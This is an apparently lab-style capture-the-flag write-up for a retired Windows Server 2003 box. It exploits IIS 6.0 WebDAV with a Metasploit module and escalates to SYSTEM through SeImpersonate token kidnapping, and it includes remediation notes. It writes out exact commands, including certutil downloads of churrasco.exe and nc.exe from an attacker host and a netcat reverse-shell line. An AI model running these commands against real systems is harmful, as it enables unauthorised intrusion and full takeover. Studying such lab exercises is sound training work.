Grandpa
Summary
I exploited a critical buffer-overflow in Microsoft IIS 6.0's WebDAV implementation to land a reverse shell as NT AUTHORITY\NETWORK SERVICE — no credentials required. From that foothold I abused the SeImpersonatePrivilege that Windows Server 2003 grants IIS service accounts by default, impersonating the SYSTEM token via a token-kidnapping binary fetched over an outbound HTTP connection, achieving unrestricted administrative control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Full port scan with service and default script detection.
$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN grandpa_nmap.txtExact commands 2
Confirm WebDAV is active and which verbs are allowed.
$ nmap --script=http-webdav-scan -p 80 $TARGETProbe WebDAV write permissions and verify the endpoint responds.
$ davtest -url http://$TARGETFixDecommission IIS 6.0 and disable WebDAVCritical
Exact commands 6
Start Metasploit Framework.
$ msfconsole -qLoad the IIS 6.0 WebDAV RCE module.
$ use exploit/windows/iis/iis_webdav_scstoragepathfromurlTarget IP.
$ set RHOSTS $TARGETMy callback address.
$ set LHOST $ATTACKER_IPListener port.
$ set LPORT 4444Fire the exploit; expect Meterpreter as NT AUTHORITY\NETWORK SERVICE.
$ runExact commands 3
Expected output: NT AUTHORITY\NETWORK SERVICE.
$ getuidConfirm OS: Windows Server 2003 SP2 x86.
$ sysinfoEnumerate applicable local privilege-escalation modules against the live session.
$ run post/multi/recon/local_exploit_suggester SESSION=1Exact commands 3
Switch to a writable directory inside the Meterpreter shell channel.
$ cd %TEMP%Download the token-kidnapping binary using a trusted Windows built-in.
$ certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/churrasco.exe churrasco.exeAlso fetch netcat to serve as the SYSTEM-level callback shell.
$ certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/nc.exe nc.exeFixBlock outbound HTTP from server processes and restrict certutilHigh
Exact commands 3
Sanity check — should return 'nt authority\system'.
$ churrasco.exe "whoami"Spawn a SYSTEM-level reverse shell to my listener.
$ churrasco.exe "nc.exe -e cmd.exe $ATTACKER_IP 5555"Run on my machine to catch the incoming SYSTEM shell.
$ nc -lvnp 5555FixEliminate SeImpersonatePrivilege from IIS service accountsCritical
Exact commands 2
User flag — -> <user.txt>
$ type "C:\Documents and Settings\Harry\Desktop\user.txt"Root flag — -> <root.txt>
$ type "C:\Documents and Settings\Administrator\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 6.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.